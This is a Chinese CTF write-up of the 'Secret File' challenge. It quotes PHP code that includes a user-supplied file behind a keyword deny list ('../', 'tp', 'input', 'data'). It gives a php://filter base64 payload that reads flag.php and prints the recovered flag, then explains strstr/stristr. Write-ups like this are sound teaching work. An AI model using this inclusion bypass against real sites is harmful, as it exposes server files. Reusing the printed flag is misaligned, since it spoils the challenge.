当前位置: 首页 > news >正文

文件隐藏 [极客大挑战 2019]Secret File1

打开题目

查看源代码发现有一个可疑的php

访问一下看看

点一下secret

得到如下页面

响应时间太短我们根本看不清什么东西,那我们尝试bp抓包一下看看

提示有个secr3t.php

访问一下

得到

我们看见了flag.php

访问一下可是什么都没有

那我们就进行代码审计

 $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

get传参传入一个file参数,然后用strstr函数和stristr函数(严格大小写)检查 $file 是否包含 ../, tp, input, data 中的任何一个字符串。

        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里

如果匹配到其中任何一个,将输出 "Oh no!" 并结束脚本。如果用户提供的 $file 参数通过了过滤器的检查,include($file); 将包含对应的文件

这里其实就很明显要用php伪协议来读取了,其中还不能包含input,data等字眼

那我们便用php://filter读取flag.php文件内容

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到密文

我们base64解密一下得到

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{0f144661-a3d7-44b8-84a0-0250d2f960ff}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

知识点:

  • strstr函数

返回字符串中从某指定字符开始到结束处的字符串。

1、strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。
2、找到所搜索的字符串,则该函数返回第一次匹配的字符串的地址;
3、如果未找到所搜索的字符串,则返回NULL。

  char *strstr(char *str1, const char *str2);   //返回值为字符型指针
  str1: 被查找目标
  str2: 要查找对象

例子;

#include <stdio.h>
#include <string.h>
main()
{char *s="GoldenGlobalView";char *l="lob";char *p;p=strstr(s,l);if(p)printf("%s",p);elseprintf("NotFound!");return 0;
}

运行结果为:

lobalView

来源于:strstr()函数的使用说明(C语言)_c语言strstr函数的用法-CSDN博客

  • stristr函数

        搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。和strstr函数的用法是一样的,但是该函数是不区分大小写的。如需进行区分大小写的搜索,请使用 strstr() 函数。

http://www.lryc.cn/news/235111.html

相关文章:

  • Linux CentOS 8(MariaDB的数据类型)
  • 云端援手:智能枢纽应对数字资产挑战 ——华为云11.11应用集成管理与创新专区优惠限时购
  • Azure的AI使用-(语言检测、图像分析、图像文本识别)
  • QDateEdit开发详解
  • 3.6 Windows驱动开发:内核进程汇编与反汇编
  • zsh和ohmyzsh安装指南+插件推荐
  • VS中修改解决方案名称和项目名称
  • iOS UITableView获取到的contentSize不正确
  • C++二分查找算法:查找和最小的 K 对数字
  • 开源WIFI继电器之方案介绍
  • html使用天地图写一个地图列表
  • C++ Qt 学习(九):模型视图代理
  • wpf devexpress 自定义统计
  • 【Flink】Flink任务缺失Jobmanager日志的问题排查
  • 教程:使用 Keras 优化神经网络
  • 什么是PWA(Progressive Web App)?它有哪些特点和优势?
  • 深入理解MongoDB的CRUD操作
  • 使用量子玻尔兹曼机推进机器学习:新范式
  • 优化|优化求解器自动调参
  • vite vue3配置eslint和prettier以及sass
  • C语言第入门——第十六课
  • IntelliJ IDEA 快捷键 Windows 版本
  • 重生之我必去大厂java开发
  • 2023年中职“网络安全“—Web 渗透测试②
  • 【整顿C盘】pycharm、chrome等软件,缓存移动
  • C# using语句使用介绍
  • leetcode (力扣) 201. 数字范围按位与 (位运算)
  • Flutter笔记: 在Flutter应用中使用SQLite数据库
  • OpenAI GPT5计划泄露
  • 【面试经典150 | 数学】Pow(x, n)